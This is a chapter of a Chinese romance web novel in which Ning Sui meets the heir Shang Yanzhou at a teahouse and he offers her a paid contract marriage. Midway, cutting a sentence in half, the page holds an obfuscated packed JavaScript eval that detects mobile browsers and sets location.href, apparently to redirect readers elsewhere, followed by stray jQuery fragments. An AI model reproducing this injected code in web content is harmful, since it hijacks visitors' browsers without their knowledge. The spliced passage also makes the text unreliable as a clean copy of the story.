5. Chapter5

作品:《暮色晨婚

    宁穗回到家,是晚上十一点钟。


    她疲倦到连澡都不想洗,换了睡衣就瘫在了床上,只是盯着天花板上陈旧泛黄的顶灯,双眼逐渐失焦时,却忽地想起来在便利店和商砚舟的那通电话——


    起初听到他说结婚时,她吓得差点打翻桌上的泡面,愣了好久,才结结巴巴从嗓子里挤出来一声:“您、您这是在和我开玩笑吧?”


    商砚舟很认真,说,不是开玩笑。


    话落,又十分诚恳地说:“宁小姐,我想请你扮演我的妻子。”


    扮演妻子?宁穗大脑发懵,想到之前看小说的桥段,大约懂了他的意思:“您是说,协议婚约?”


    “是的。”商砚舟说,又补了句,“我会给你相应的报酬,无论你想要什么,我都会尽我所能给你。”


    “……”这种狗血小说剧情就这么落在她身上了?宁穗攥着手机,不敢相信。


    她不知如何回答这个问题,正哑巴着,又听见商砚舟说了句:“抱歉,宁小姐,我现在有会议要去处理。”


    “明天你有空吗?方便的话,我们见面详谈?”


    宁穗半梦半醒,像是被海妖蛊惑了一般,不知怎么就脱口而出了两个字,有空。


    商砚舟言简意赅地丢下一句那就明天见,随即挂断电话,留下宁穗举着手机愣怔半晌,直到便利店门口传来一声机械的你好,欢迎光临,她才恍然回神。


    一转眼,距离这通电话结束已过去四个小时。


    商砚舟没再回电给她,宁穗也不知道明天要去哪里同他碰面。


    若有所思着,宁穗翻身起来,将搁置在床头的手机拿了过来。


    也是巧了,她刚解锁屏幕,微信突然跳出一条请求添加好友的消息。


    点开去看,是一个叫做Vuslat的账号。


    账号的头像是一棵屹立在茶园之中的树,树冠饱满,郁郁葱葱,却因为周围再无其他树木,显得有几分孤寂。


    也不知是不是宁穗的错觉,她觉得这树十分眼熟,像极了她老家杭城,一个还算出名的小景点。


    收起思绪,宁穗摁下通过。


    一秒不到,对方自我介绍的消息就弹了过来:【我是商砚舟】


    这时候加她微信的,除了他还能有谁呢?


    捧着手机,宁穗客客气气地回复:【商先生,您好。】


    商砚舟:【方便给我一个你的地址吗?明天下午三点我来接你。】


    接她?这也太麻烦了。


    宁穗连忙拒绝:【不用,您告诉我在哪儿碰面就好,我自己过去。】


    商砚舟:【是我有事相求,来接你是应该做的。】


    宁穗:【真不用的,您来接我太麻烦了。】


    商砚舟:【不麻烦。】


    看着他干脆利落的【不麻烦】,宁穗有些不知再如何拒绝了。


    思索两秒,她放弃挣扎,将自己所在的位置发了过去。


    商砚舟回了一个OK的表情包,又说了一句早点休息。


    宁穗发过去嗯嗯点头的猫猫表情包,对面没再回复,这场短暂的聊天到此结束。


    看着沉寂下来的对话框,宁穗的视线上移,落在商砚舟的微信名上——Vuslat。


    她好像在哪里看到过这个词,不过一时半会想不起来,索性复制在网页搜索了下,发现是土耳其语,意为重逢。


    宁穗陷入思忖,片刻后,从网页退回微信,给商砚舟修改了备注:【商先生】


    放下手机,宁穗从床上下来,拆了一盒之前买的助眠香薰放到床头柜上,又重新躺下来,关灯、戴上眼罩和耳塞,将自己丢进了柔软的梦里。


    第二天早上八点,宁穗准时起床,去医院看望叶柔。


    林医生说叶柔各方面指标都在可控范围内,继续观察几天,没问题就可以换到普通病房。


    只是宁穗暂且没办法和叶柔碰面,只能将饭菜送到门口转交给护工,用手机和叶柔联系,陪她聊聊天,解解闷,从心理上来缓解一下她移植手术后的不适。


    隔着一扇门,宁穗陪了叶柔一早上。


    看她吃过午饭后,下午一点钟,宁穗回了家休息。


    午睡起来,是两点二十分。


    宁穗去浴室洗了把脸,涂了一些保湿精华,坐在梳妆台前开始化妆。


    她肤色天生粉白,面部肌肤几乎没什么明显瑕疵和毛孔,只是这些年因为工作疲惫,眼下有一层薄薄的乌青,简单地遮瑕提亮后,薄薄地扑了层气垫,随便描描眉,又挑了一支抬气色的肉桂色口红在唇上和脸颊两边晕开。


    齐腰的栗色卷发不需要特别打理,梳顺后喷了点护发精油,就大功告成了。


    搞定妆发,戴好手链,衣服却有点儿不知道穿什么比较合适了。


    宁穗离开梳妆台,打开衣柜,仔细端详挂在里面的套装,可思索半晌,还没确定下来,搁在身后床上的手机先响了。


    回过身去看,是一串陌生号码。


    眼底闪过一丝狐疑,她接通,喂了一声。


    “宁小姐,您好,我是商总的助理陈牧。”


    “商总在忙工作,叫我先来接您,我现在在您楼下。”


    原来是商砚舟的助理,宁穗恍然,应了声:“好的,我马上下来。”


    挂断电话,她没再纠结穿什么,直接从衣柜里随机选了一件米白色针织鱼尾长裙换上,外搭了一件浅驼色的大衣,踩上高跟鞋,急匆匆地出了门。


    陈牧站在楼下,见宁穗下来,绕到后座帮她打开了车门。


    宁穗颔首道谢,坐进车内。


    一路无言,四十分钟后,陈牧将车开到了一家名为洛水庭的茶楼门口。


    也是巧了,这家茶楼宁穗之前在社交软件上刷到过,二楼雅间的落地窗景可以看到一颗百年枫王,最近刚好进入观赏期,是近期京州算得上热门的打卡点。


    提了口气,她从车上下来,跟着陈牧走进洛水庭,穿过前厅雅致的园林设计,上了二楼,往走廊尽头深处走去。


    一直走到倒数第二间,陈牧停下来,看向了宁穗,微笑道:“宁小姐,您先休息一会儿,商总马上就到。”


    宁穗颔首说好,进了屋内。


    陈牧留在室外,帮她关上门,叫住了走廊路过的侍应生,让对方将茶点端上来。


    商砚舟订得雅间很大,纯中式的装修风格,整个环境弥漫着淡淡的木头香气,混着一点幽幽茶香,古朴典雅,韵味十足。


    一整面的落地窗透亮干净,视野毫无遮挡,像是一副天然的画框,将屹立在院子中央的那颗百年红枫完美装裱起来。


    此时正值下午光线最好的时刻,小院闲昼,金色日光烙下一片片树影,落在树下的一处水潭中,风摇影晃,波光粼粼。


    盛景难见,宁穗心旷神怡,从手提包里翻出手机,拍了一张照片,挑了靠窗的位置上坐下。


    与此同时,雅间的门被人扣响。


    宁穗回眸朝门口看去,稍稍抬高音量:“进——”


    话音落下,门被人缓缓推开。


    和前两次见面时的装扮有些许不同,今日的商砚舟在西服外面套了一件纯黑色大衣,额前的发丝没有向后梳成背头的造型,就那么自然而然地垂着,遮住漂亮的眉宇,削弱了几分他身上的冷峻。


    “宁小姐,抱歉。”商砚舟走进屋内,温声解释,“下午公司临时增加了会议,让你久等了。”


    “我也刚到,没等多久。”宁穗莞尔一笑,并不介意这等待的几分钟,“不要紧的。”


    商砚舟微微颔首,褪掉身上大衣,随手搭在雅间内另一处的沙发上,走到茶桌前,坐在了宁穗的正对面。


    目光平视,他喉结轻滚,轻声开口:“宁小姐,你……”


    只是话还没说完,侍应生端着茶水和糕点从外面走了进来,他微张的唇不得已轻轻合起,直到对方将东西放下,走出雅间,他才将带来的文件从桌面上推了过去,重新道:“宁小姐,这是我的档案。”


    “档案?”宁穗看着商砚舟推过来的文件,忽然觉得自己有点儿像在面试现场,只不过这回她从求职者变成了HR。


    “这里面有我的个人情况介绍,还有我家里人的一些信息。”商砚舟说,“你可以先看一下,看完我们再聊。”


    宁穗淡声说好,拿起文件,翻开了第


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077377|195266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一页。


    商砚舟的个人信息写得很详细,身高、体重、生日、血型、毕业学校、有无家族病史、有无感情经历、有无不良嗜好、以及名下所有的产业,全都记录其中,生怕宁穗没办法足够清晰的了解他这个人一样。


    宁穗一条条仔仔细细地看过,瞥见商砚舟感情经历那一栏写着【无】,心底有一丝小小的讶异。


    他这样的人,竟然从来都没有谈过恋爱吗?


    诧异了两秒钟,没再多想,她接着往下看去。


    接下来的人,无非就是和商砚舟有亲缘关系的那几位。


    爷爷奶奶,父亲姑姑,他们的名字宁穗在公司官网上看到过无数次,只是唯独商砚舟的母亲林芷嫣,她是第一次见到。


    就这样一页页地,缓慢翻过,宁穗翻到了最后一页,商砚舟的弟弟商景恒。


    商景恒和商砚舟长得完全不像,甚至也不像他的父亲母亲,他的名字宁穗也听过不少,不过更多是在一些花边新闻里,名声算不上太好。


    抿抿唇,她收起思绪,合上文件,抬眸看向桌对面的商砚舟:“所以,您找我假结婚,是为了应付长辈?”


    “是。”商砚舟慢条斯理地端起桌上的茶壶,为宁穗斟了杯茶,坦荡道,“但准确来说,是为了继承遗产。”


    “我爷爷这个人十分古板传统,觉得成家立业,是成家在前,立业在后,现在他老人家生了病,总觉得自己时日无多,一直催我去相亲,如果我不结婚,将来或许会失去一部分公司的继承权。”


    “我不想被迫进入一段婚姻,但也不想失去我应得的东西。”


    “所以权衡之后,找个人合约结婚,是最好的解决办法。”话罢,商砚舟将手中白瓷茶杯递给宁穗,“如果宁小姐愿意,我名下御景枫园和铂悦华亭的两处房产,会在婚前全部过户给你。”


    御景枫园?铂悦华亭?


    宁穗大脑火速搜索这两个楼盘信息,如果她没记错,这两处都位于京州最核心的区域,虽然不知道具体价格是多少,但御景枫园是大平层的设计,铂悦华亭是独栋别墅,按照京州整体房价预估下来,光是大平层就要价值七八百万,如果面积大点儿总价早已破千万,更何况还有一套独栋别墅……


    宁穗心下猛地倒吸一口冷气。


    强装镇定,她双手接过商砚舟递来的瓷杯,轻轻抿了一口茶香。


    只是还没消化这个庞大的信息,又听商砚舟说:“如果你不喜欢这两个楼盘,也可以换其他的,除此之外,我还会给你一笔还算可观的报酬。”


    还算可观的报酬?


    宁穗不太明白他眼里的可观是多少:“商先生,还算可观,是指……”


    “八百万。”商砚舟淡声道,像是说出口的金额只是八百块一样。


    宁穗又一次心惊。


    这就是网络上说的泼天富贵吗?八百万的报酬外加两处房产,她这辈子加下辈子,都不可能赚到这么多钱。


    看着商砚舟,宁穗说不出话来。


    她缄默不语,他也没再说些什么,只举杯喝茶,静候她开口,好像不管她答不答应都没关系,完完全全地将选择权交给了她。


    宁穗眼睫微垂,视线落在桌面的文件上。


    商砚舟开出的条件太好,像极了是一块色泽鲜艳,极具诱惑力的蛋糕。


    咬下去,或许是难得的美味,又或许是裹着糖衣的毒药。


    搭在腿上的指尖一点点蜷起,指甲陷进掌心掐出一道月牙。


    眸光微闪,片刻,她满腹狐疑地轻喃了声:“为什么是我?”


    “嗯?”商砚舟没听清。


    宁穗抿紧唇,掀眸对上他的目光,将心中所想一口气吐出:“为什么选我呢?商先生。”


    “像您这样的人,身边不会缺女孩儿才对。”


    他有相貌、有眼界、有家世、有能力,他站在很多人难以触及的高度之上。


    可为什么,偏偏选中她呢?宁穗满腹疑问地看着商砚舟。


    片刻,男人不疾不徐地放下手中茶杯:“宁小姐,我不是那么随便的人。”


    “结婚这件事,除了你,我没考虑过别人。”